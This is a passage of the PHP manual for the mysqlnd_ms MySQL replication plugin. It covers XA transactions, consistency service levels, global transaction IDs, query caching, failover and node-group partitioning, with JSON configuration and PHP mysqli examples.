[1400/XAE09] (mysqlnd_ms) Some work is done outside global transaction. You must end the active local transaction first

A global transaction cannot be started when a local transaction is active. The plugin tries to detect this situation as early as possible, that is when mysqlnd_ms_xa_begin() is called. If using API calls only to control transactions, the plugin will know that a local transaction is open and return an error for mysqlnd_ms_xa_begin(). However, note the plugins limitations on detecting transaction boundaries.. In the worst case, if using direct SQL for local transactions (BEGIN, COMMIT, ...), it may happen that an error is delayed until some SQL is executed on a server.

To end a global transaction invoke mysqlnd_ms_xa_commit() or mysqlnd_ms_xa_rollback(). When a global transaction is ended all participants must be informed of the end. Therefore, PECL/mysqlnd_ms transparently issues appropriate XA related SQL statements on some or all of them. Any failure during this phase will cause an implicit rollback. The XA related API is intentionally kept simple here. A more complex API that gave more control would bare few, if any, advantages over a user implementation that issues all lower level XA SQL statements itself.

XA transactions use the two-phase commit protocol. The two-phase commit protocol is a blocking protocol. There are cases when no progress can be made, not even when using timeouts. Transaction coordinators should survive their own failure, be able to detect blockades and break ties. PECL/mysqlnd_ms takes the role of a transaction coordinator and can be configured to survive its own crash to avoid issues with blocked MySQL servers. Therefore, the plugin can and should be configured to use a persistent and crash-safe state to allow garbage collection of unfinished, aborted global transactions. A global transaction can be aborted in an open state if either the plugin fails (crashes) or a connection from the plugin to a global transaction participant fails.

Example #3 Transaction coordinator state store

{
    "myapp": {
        "xa": {
            "state_store": {
                "participant_localhost_ip": "192.168.2.12",
                "mysql": {
                    "host": "192.168.2.13",
                    "user": "root",
                    "password": "",
                    "db": "test",
                    "port": "3312",
                    "socket": null
                }
            }
        },
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.14",
                "port": "3306"
            }
        }
    }
}

Currently, PECL/mysqlnd_ms supports only using MySQL database tables as a state store. The SQL definitions of the tables are given in the plugin configuration section. Please, make sure to use a transactional and crash-safe storage engine for the tables, such as InnoDB. InnoDB is the default table engine in recent versions of the MySQL server. Make also sure the database server itself is highly available.

If a state store has been configured, the plugin can perform a garbage collection. During garbage collection it may be necessary to connect to a participant of a failed global transaction. Thus, the state store holds a list of participants and, among others, their host names. If the garbage collection is run on another host but the one that has written a participant entry with the host name localhost, then localhost resolves to different machines. There are two solutions to the problem. Either you do not configure any servers with the host name localhost but configure an IP address (and port) or, you hint the garbage collection. In the above example, localhost is used for master_0, hence it may not resolve to the correct host during garbage collection. However, participant_localhost_ip is also set to hint the garbage collection that localhost stands for the IP 192.168.2.12.

User Contributed Notes

muhammad dot dawud91 at gmail dot com 14-Oct-2014 03:44
this site:
http://lixa.sourceforge.net/lixa-doc/ext/html/ch02s04.html#id3855642 also provide xa transaction between two mysql server, then why you and him doesn't combine the effort?


Service level and consistency

Note: Version requirement

Service levels have been introduced in PECL mysqlnd_ms version 1.2.0-alpha. mysqlnd_ms_set_qos() is available with PHP 5.4.0 or newer.

Different types of MySQL cluster solutions offer different service and data consistency levels to their users. An asynchronous MySQL replication cluster offers eventual consistency by default. A read executed on an asynchronous slave may return current, stale or no data at all, depending on whether the slave has replayed all changesets from the master or not.

Applications using an MySQL replication cluster need to be designed to work correctly with eventual consistent data. In some cases, however, stale data is not acceptable. In those cases only certain slaves or even only master accesses are allowed to achieve the required quality of service from the cluster.

As of PECL mysqlnd_ms 1.2.0 the plugin is capable of selecting MySQL replication nodes automatically that deliver session consistency or strong consistency. Session consistency means that one client can read its writes. Other clients may or may not see the clients' write. Strong consistency means that all clients will see all writes from the client.

Example #1 Session consistency: read your writes

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        }
    }
}

Example #2 Requesting session consistency

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* read-write splitting: master used */
if (!$mysqli->query("INSERT INTO orders(order_id, item) VALUES (1, 'christmas tree, 1.8m')")) {
   /* Please use better error handling in your code */
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Request session consistency: read your writes */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Plugin picks a node which has the changes, here: master */
if (!$res = $mysqli->query("SELECT item FROM orders WHERE order_id = 1"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

var_dump($res->fetch_assoc());

/* Back to eventual consistency: stale data allowed */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Plugin picks any slave, stale data is allowed */
if (!$res = $mysqli->query("SELECT item, price FROM specials"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
?>

Service levels can be set in the plugins configuration file and at runtime using mysqlnd_ms_set_qos(). In the example the function is used to enforce session consistency (read your writes) for all future statements until further notice. The SELECT statement on the orders table is run on the master to ensure the previous write can be seen by the client. Read-write splitting logic has been adapted to fulfill the service level.

After the application has read its changes from the orders table it returns to the default service level, which is eventual consistency. Eventual consistency puts no restrictions on choosing a node for statement execution. Thus, the SELECT statement on the specials table is executed on a slave.

The new functionality supersedes the use of SQL hints and the master_on_write configuration option. In many cases mysqlnd_ms_set_qos() is easier to use, more powerful improves portability.

Example #3 Maximum age/slave lag

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "failover" : "master"
    }
}

Example #4 Limiting slave lag

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Read from slaves lagging no more than four seconds */
$ret = mysqlnd_ms_set_qos($mysqli,
         MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL,
         MYSQLND_MS_QOS_OPTION_AGE, 4);

if (!$ret)
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Plugin picks any slave, which may or may not have the changes */
if (!$res = $mysqli->query("SELECT item, price FROM daytrade"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Back to default: use of all slaves and masters permitted */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
?>

The eventual consistency service level can be used with an optional parameter to set a maximum slave lag for choosing slaves. If set, the plugin checks SHOW SLAVE STATUS for all configured slaves. In case of the example, only slaves for which Slave_IO_Running=Yes, Slave_SQL_Running=Yes and Seconds_Behind_Master <= 4 is true are considered for executing the statement SELECT item, price FROM daytrade.

Checking SHOW SLAVE STATUS is done transparently from an applications perspective. Errors, if any, are reported as warnings. No error will be set on the connection handle. Even if all SHOW SLAVE STATUS SQL statements executed by the plugin fail, the execution of the users statement is not stopped, given that master fail over is enabled. Thus, no application changes are required.

Note: Expensive and slow operation

Checking SHOW SLAVE STATUS for all slaves adds overhead to the application. It is an expensive and slow background operation. Try to minimize the use of it. Unfortunately, a MySQL replication cluster does not give clients the possibility to request a list of candidates from a central instance. Thus, a more efficient way of checking the slaves lag is not available.

Please, note the limitations and properties of SHOW SLAVE STATUS as explained in the MySQL reference manual.

To prevent mysqlnd_ms from emitting a warning if no slaves can be found that lag no more than the defined number of seconds behind the master, it is necessary to enable master fail over in the plugins configuration file. If no slaves can be found and fail over is turned on, the plugin picks a master for executing the statement.

If no slave can be found and fail over is turned off, the plugin emits a warning, it does not execute the statement and it sets an error on the connection.

Example #5 Fail over not set

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        }
    }
}

Example #6 No slave within time limit

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Read from slaves lagging no more than four seconds */
$ret = mysqlnd_ms_set_qos($mysqli,
         MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL,
         MYSQLND_MS_QOS_OPTION_AGE, 4);

if (!$ret)
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Plugin picks any slave, which may or may not have the changes */
if (!$res = $mysqli->query("SELECT item, price FROM daytrade"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Back to default: use of all slaves and masters permitted */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
?>

The above example will output:

PHP Warning:  mysqli::query(): (mysqlnd_ms) Couldn't find the appropriate slave connection. 0 slaves to choose from. Something is wrong in %s on line %d
PHP Warning:  mysqli::query(): (mysqlnd_ms) No connection selected by the last filter in %s on line %d
[2000] (mysqlnd_ms) No connection selected by the last filter

User Contributed Notes

There are no user contributed notes for this page.


Global transaction IDs

Note: Version requirement

A client-side global transaction ID injection has been introduced in mysqlnd_ms version 1.2.0-alpha. The feature is not required for synchronous clusters, such as MySQL Cluster. Use it with asynchronous clusters such as classical MySQL replication.

As of MySQL 5.6.5-m8 release candidate the MySQL server features built-in global transaction identifiers. The MySQL built-in global transaction ID feature is supported by PECL/mysqlnd_ms 1.3.0-alpha or later. However, the final feature set found in MySQL 5.6 production releases to date is not sufficient to support the ideas discussed below in all cases. Please, see also the concepts section.

PECL/mysqlnd_ms can either use its own global transaction ID emulation or the global transaction ID feature built-in to MySQL 5.6.5-m8 or later. From a developer perspective the client-side and server-side approach offer the same features with regards to service levels provided by PECL/mysqlnd_ms. Their differences are discussed in the concepts section.

The quickstart first demonstrates the use of the client-side global transaction ID emulation built-in to PECL/mysqlnd_ms before its show how to use the server-side counterpart. The order ensures that the underlying idea is discussed first.

Idea and client-side emulation

In its most basic form a global transaction ID (GTID) is a counter in a table on the master. The counter is incremented whenever a transaction is committed on the master. Slaves replicate the table. The counter serves two purposes. In case of a master failure, it helps the database administrator to identify the most recent slave for promoting it to the new master. The most recent slave is the one with the highest counter value. Applications can use the global transaction ID to search for slaves which have replicated a certain write (identified by a global transaction ID) already.

PECL/mysqlnd_ms can inject SQL for every committed transaction to increment a GTID counter. The so created GTID is accessible by the application to identify an applications write operation. This enables the plugin to deliver session consistency (read your writes) service level by not only querying masters but also slaves which have replicated the change already. Read load is taken away from the master.

Client-side global transaction ID emulation has some limitations. Please, read the concepts section carefully to fully understand the principles and ideas behind it, before using in production environments. The background knowledge is not required to continue with the quickstart.

First, create a counter table on your master server and insert a record into it. The plugin does not assist creating the table. Database administrators must make sure it exists. Depending on the error reporting mode, the plugin will silently ignore the lack of the table or bail out.

Example #1 Create counter table on master

CREATE TABLE `trx` (
  `trx_id` int(11) DEFAULT NULL,
  `last_update` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=latin1
INSERT INTO `trx`(`trx_id`) VALUES (1);

In the plugins configuration file set the SQL to update the global transaction ID table using on_commit from the global_transaction_id_injection section. Make sure the table name used for the UPDATE statement is fully qualified. In the example, test.trx is used to refer to table trx in the schema (database) test. Use the table that was created in the previous step. It is important to set the fully qualified table name because the connection on which the injection is done may use a different default database. Make sure the user that opens the connection is allowed to execute the UPDATE.

Enable reporting of errors that may occur when mysqlnd_ms does global transaction ID injection.

Example #2 Plugin config: SQL for client-side GTID injection

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "on_commit":"UPDATE test.trx SET trx_id = trx_id + 1",
            "report_error":true
        }
    }
}

Example #3 Transparent global transaction ID injection

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("CREATE TABLE test(id INT)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("INSERT INTO test(id) VALUES (1)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* auto commit mode, read on slave, no increment */
if (!($res = $mysqli->query("SELECT id FROM test")))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

var_dump($res->fetch_assoc());
?>

The above example will output:

array(1) {
  ["id"]=>
  string(1) "1"
}

The example runs three statements in auto commit mode on the master, causing three transactions on the master. For every such statement, the plugin will inject the configured UPDATE transparently before executing the users SQL statement. When the script ends the global transaction ID counter on the master has been incremented by three.

The fourth SQL statement executed in the example, a SELECT, does not trigger an increment. Only transactions (writes) executed on a master shall increment the GTID counter.

Note: SQL for global transaction ID: efficient solution wanted!

The SQL used for the client-side global transaction ID emulation is inefficient. It is optimized for clearity not for performance. Do not use it for production environments. Please, help finding an efficient solution for inclusion in the manual. We appreciate your input.

Example #4 Plugin config: SQL for fetching GTID

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "on_commit":"UPDATE test.trx SET trx_id = trx_id + 1",
            "fetch_last_gtid" : "SELECT MAX(trx_id) FROM test.trx",
            "report_error":true
        }
    }
}

Example #5 Obtaining GTID after injection

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("CREATE TABLE test(id INT)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));
?>

The above example will output:

GTID after transaction 7
GTID after transaction 8

Applications can ask PECL mysqlnd_ms for a global transaction ID which belongs to the last write operation performed by the application. The function mysqlnd_ms_get_last_gtid() returns the GTID obtained when executing the SQL statement from the fetch_last_gtid entry of the global_transaction_id_injection section from the plugins configuration file. The function may be called after the GTID has been incremented.

Applications are adviced not to run the SQL statement themselves as this bares the risk of accidently causing an implicit GTID increment. Also, if the function is used, it is easy to migrate an application from one SQL statement for fetching a transaction ID to another, for example, if any MySQL server ever features built-in global transaction ID support.

The quickstart shows a SQL statement which will return a GTID equal or greater to that created for the previous statement. It is exactly the GTID created for the previous statement if no other clients have incremented the GTID in the time span between the statement execution and the SELECT to fetch the GTID. Otherwise, it is greater.

Example #6 Plugin config: Checking for a certain GTID

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "on_commit":"UPDATE test.trx SET trx_id = trx_id + 1",
            "fetch_last_gtid" : "SELECT MAX(trx_id) FROM test.trx",
            "check_for_gtid" : "SELECT trx_id FROM test.trx WHERE trx_id >= #GTID",
            "report_error":true
        }
    }
}

Example #7 Session consistency service level and GTID combined

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* GTID as an identifier for the last write */
$gtid = mysqlnd_ms_get_last_gtid($mysqli);

/* Session consistency (read your writes): try to read from slaves not only master */
if (false == mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION, MYSQLND_MS_QOS_OPTION_GTID, $gtid)) {
    die(sprintf("[006] [%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Either run on master or a slave which has replicated the INSERT */
if (!($res = $mysqli->query("SELECT id FROM test"))) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

var_dump($res->fetch_assoc());
?>

A GTID returned from mysqlnd_ms_get_last_gtid() can be used as an option for the session consistency service level. Session consistency delivers read your writes. Session consistency can be requested by calling mysqlnd_ms_set_qos(). In the example, the plugin will execute the SELECT statement either on the master or on a slave which has replicated the previous INSERT already.

PECL mysqlnd_ms will transparently check every configured slave if it has replicated the INSERT by checking the slaves GTID table. The check is done running the SQL set with the check_for_gtid option from the global_transaction_id_injection section of the plugins configuration file. Please note, that this is a slow and expensive procedure. Applications should try to use it sparsely and only if read load on the master becomes to high otherwise.

Use of the server-side global transaction ID feature

Note: Insufficient server support in MySQL 5.6

The plugin has been developed against a pre-production version of MySQL 5.6. It turns out that all released production versions of MySQL 5.6 do not provide clients with enough information to enforce session consistency based on GTIDs. Please, read the concepts section for details.

Starting with MySQL 5.6.5-m8 the MySQL Replication system features server-side global transaction IDs. Transaction identifiers are automatically generated and maintained by the server. Users do not need to take care of maintaining them. There is no need to setup any tables in advance, or for setting on_commit. A client-side emulation is no longer needed.

Clients can continue to use global transaction identifier to achieve session consistency when reading from MySQL Replication slaves in some cases but not all! The algorithm works as described above. Different SQL statements must be configured for fetch_last_gtid and check_for_gtid. The statements are given below. Please note, MySQL 5.6.5-m8 is a development version. Details of the server implementation may change in the future and require adoption of the SQL statements shown.

Using the following configuration any of the above described functionality can be used together with the server-side global transaction ID feature. mysqlnd_ms_get_last_gtid() and mysqlnd_ms_set_qos() continue to work as described above. The only difference is that the server does not use a simple sequence number but a string containing of a server identifier and a sequence number. Thus, users cannot easily derive an order from GTIDs returned by mysqlnd_ms_get_last_gtid().

Example #8 Plugin config: using MySQL 5.6.5-m8 built-in GTID feature

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "fetch_last_gtid" : "SELECT @@GLOBAL.GTID_DONE AS trx_id FROM DUAL",
            "check_for_gtid" : "SELECT GTID_SUBSET('#GTID', @@GLOBAL.GTID_DONE) AS trx_id FROM DUAL",
            "report_error":true
        }
    }
}

User Contributed Notes

There are no user contributed notes for this page.


Cache integration

Note: Version requirement, dependencies and status

Please, find more about version requirements, extension load order dependencies and the current status in the concepts section!

Databases clusters can deliver different levels of consistency. As of PECL/mysqlnd_ms 1.2.0 it is possible to advice the plugin to consider only cluster nodes that can deliver the consistency level requested. For example, if using asynchronous MySQL Replication with its cluster-wide eventual consistency, it is possible to request session consistency (read your writes) at any time using mysqlnd_ms_set_quos(). Please, see also the service level and consistency introduction.

Example #1 Recap: quality of service to request read your writes

/* Request session consistency: read your writes */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

Assuming PECL/mysqlnd has been explicitly told to deliver no consistency level higher than eventual consistency, it is possible to replace a database node read access with a client-side cache using time-to-live (TTL) as its invalidation strategy. Both the database node and the cache may or may not serve current data as this is what eventual consistency defines.

Replacing a database node read access with a local cache access can improve overall performance and lower the database load. If the cache entry is every reused by other clients than the one creating the cache entry, a database access is saved and thus database load is lowered. Furthermore, system performance can become better if computation and delivery of a database query is slower than a local cache access.

Example #2 Plugin config: no special entries for caching

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
    }
}

Example #3 Caching a slave request

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Explicitly allow eventual consistency and caching (TTL <= 60 seconds) */
if (false == mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL, MYSQLND_MS_QOS_OPTION_CACHE, 60)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* To make this example work, we must wait for a slave to catch up. Brute force style. */
$attempts = 0;
do {
  /* check if slave has the table */
  if ($res = $mysqli->query("SELECT id FROM test")) {
    break;
  } else if ($mysqli->errno) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
  }
  /* wait for slave to catch up */
  usleep(200000);
} while ($attempts++ < 10);

/* Query has been run on a slave, result is in the cache */
assert($res);
var_dump($res->fetch_assoc());

/* Served from cache */
$res = $mysqli->query("SELECT id FROM test");
?>

The example shows how to use the cache feature. First, you have to set the quality of service to eventual consistency and explicitly allow for caching. This is done by calling mysqlnd_ms_set_qos(). Then, the result set of every read-only statement is cached for upto that many seconds as allowed with mysqlnd_ms_set_qos().

The actual TTL is lower or equal to the value set with mysqlnd_ms_set_qos(). The value passed to the function sets the maximum age (seconds) of the data delivered. To calculate the actual TTL value the replication lag on a slave is checked and subtracted from the given value. If, for example, the maximum age is set to 60 seconds and the slave reports a lag of 10 seconds the resulting TTL is 50 seconds. The TTL is calculated individually for every cached query.

Example #4 Read your writes and caching combined

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1)"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Explicitly allow eventual consistency and caching (TTL <= 60 seconds) */
if (false == mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL, MYSQLND_MS_QOS_OPTION_CACHE, 60)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* To make this example work, we must wait for a slave to catch up. Brute force style. */
$attempts = 0;
do {
  /* check if slave has the table */
  if ($res = $mysqli->query("SELECT id FROM test")) {
    break;
  } else if ($mysqli->errno) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
  }
  /* wait for slave to catch up */
  usleep(200000);
} while ($attempts++ < 10);

assert($res);

/* Query has been run on a slave, result is in the cache */
var_dump($res->fetch_assoc());

/* Served from cache */
if (!($res = $mysqli->query("SELECT id FROM test")))
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
var_dump($res->fetch_assoc());

/* Update on master */
if (!$mysqli->query("UPDATE test SET id = 2"))
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Read your writes */
if (false == mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Fetch latest data */
if (!($res = $mysqli->query("SELECT id FROM test")))
 die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
var_dump($res->fetch_assoc());
?>

The quality of service can be changed at any time to avoid further cache usage. If needed, you can switch to read your writes (session consistency). In that case, the cache will not be used and fresh data is read.

User Contributed Notes

There are no user contributed notes for this page.


Failover

By default, the plugin does not attempt to fail over if connecting to a host fails. This prevents pitfalls related to connection state. It is recommended to manually handle connection errors in a way similar to a failed transaction. You should catch the error, rebuild the connection state and rerun your query as shown below.

If connection state is no issue to you, you can alternatively enable automatic and silent failover. Depending on the configuration, the automatic and silent failover will either attempt to fail over to the master before issuing and error or, try to connect to other slaves, given the query allowes for it, before attempting to connect to a master. Because automatic failover is not fool-proof, it is not discussed in the quickstart. Instead, details are given in the concepts section below.

Example #1 Manual failover, automatic optional

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "simulate_slave_failure",
                "port": "0"
            },
            "slave_1": {
                "host": "127.0.0.1",
                "port": 3311
            }
        },
       "filters": { "roundrobin": [] }
    }
 }

Example #2 Manual failover

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

$sql = "SELECT 1 FROM DUAL";

/* error handling as it should be done regardless of the plugin */
if (!($res = $link->query($sql))) {
  /* plugin specific: check for connection error */
  switch ($link->errno) {
    case 2002:
    case 2003:
    case 2005:
      printf("Connection error - trying next slave!\n");
      /* load balancer will pick next slave */
      $res = $link->query($sql);
      break;
    default:
      /* no connection error, failover is unlikely to help */
      die(sprintf("SQL error: [%d] %s", $link->errno, $link->error));
      break;
  }
}
if ($res) {
  var_dump($res->fetch_assoc());
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Partitioning and Sharding

Database clustering is done for various reasons. Clusters can improve availability, fault tolerance, and increase performance by applying a divide and conquer approach as work is distributed over many machines. Clustering is sometimes combined with partitioning and sharding to further break up a large complex task into smaller, more manageable units.

The mysqlnd_ms plugin aims to support a wide variety of MySQL database clusters. Some flavors of MySQL database clusters have built-in methods for partitioning and sharding, which could be transparent to use. The plugin supports the two most common approaches: MySQL Replication table filtering, and Sharding (application based partitioning).

MySQL Replication supports partitioning as filters that allow you to create slaves that replicate all or specific databases of the master, or tables. It is then in the responsibility of the application to choose a slave according to the filter rules. You can either use the mysqlnd_ms node_groups filter to manually support this, or use the experimental table filter.

Manual partitioning or sharding is supported through the node grouping filter, and SQL hints as of 1.5.0. The node_groups filter lets you assign a symbolic name to a group of master and slave servers. In the example, the master master_0 and slave_0 form a group with the name Partition_A. It is entirely up to you to decide what makes up a group. For example, you may use node groups for sharding, and use the group names to address shards like Shard_A_Range_0_100.

Example #1 Cluster node groups

{
  "myapp": {
       "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "simulate_slave_failure",
                "port": "0"
            },
            "slave_1": {
                "host": "127.0.0.1",
                "port": 3311
            }
        },
        "filters": {
            "node_groups": {
                "Partition_A" : {
                    "master": ["master_0"],
                    "slave": ["slave_0"]
                }
            },
           "roundrobin": []
        }
    }
}

Example #2 Manual partitioning using SQL hints

<?php
function select($mysqli, $msg, $hint = '') {
  /* Note: weak test, two connections to two servers may have the same thread id */
  $sql = sprintf("SELECT CONNECTION_ID() AS _thread, '%s' AS _hint FROM DUAL", $msg);
  if ($hint) {
    $sql = $hint . $sql;
  }
  if (!($res = $mysqli->query($sql))) {
    printf("[%d] %s", $mysqli->errno, $mysqli->error);
    return false;
  }
  $row =  $res->fetch_assoc();
  printf("%d - %s - %s\n", $row['_thread'], $row['_hint'], $sql);
  return true;
}

$mysqli = new mysqli("myapp", "user", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* All slaves allowed */
select($mysqli, "slave_0");
select($mysqli, "slave_1");

/* only servers of node group "Partition_A" allowed */
select($mysqli, "slave_1", "/*Partition_A*/");
select($mysqli, "slave_1", "/*Partition_A*/");
?>
6804 - slave_0 - SELECT CONNECTION_ID() AS _thread, 'slave1' AS _hint FROM DUAL
2442 - slave_1 - SELECT CONNECTION_ID() AS _thread, 'slave2' AS _hint FROM DUAL
6804 - slave_0 - /*Partition_A*/SELECT CONNECTION_ID() AS _thread, 'slave1' AS _hint FROM DUAL
6804 - slave_0 - /*Partition_A*/SELECT CONNECTION_ID() AS _thread, 'slave1' AS _hint FROM DUAL

By default, the plugin will use all configured master and slave servers for query execution. But if a query begins with a SQL hint like /*node_group*/, the plugin will only consider the servers listed in the node_group for query execution. Thus, SELECT queries prefixed with /*Partition_A*/ will only be executed on slave_0.

User Contributed Notes

social at dotmanila dot com 01-Jul-2014 11:11
In the example #2, you can use the @@server_id variable combined with connection_id() for a more distinct combination i.e.:

"SELECT CONNECTION_ID(), @@server_id AS _thread, '%s' AS _hint FROM DUAL"


MySQL Fabric

Note: Version requirement and status

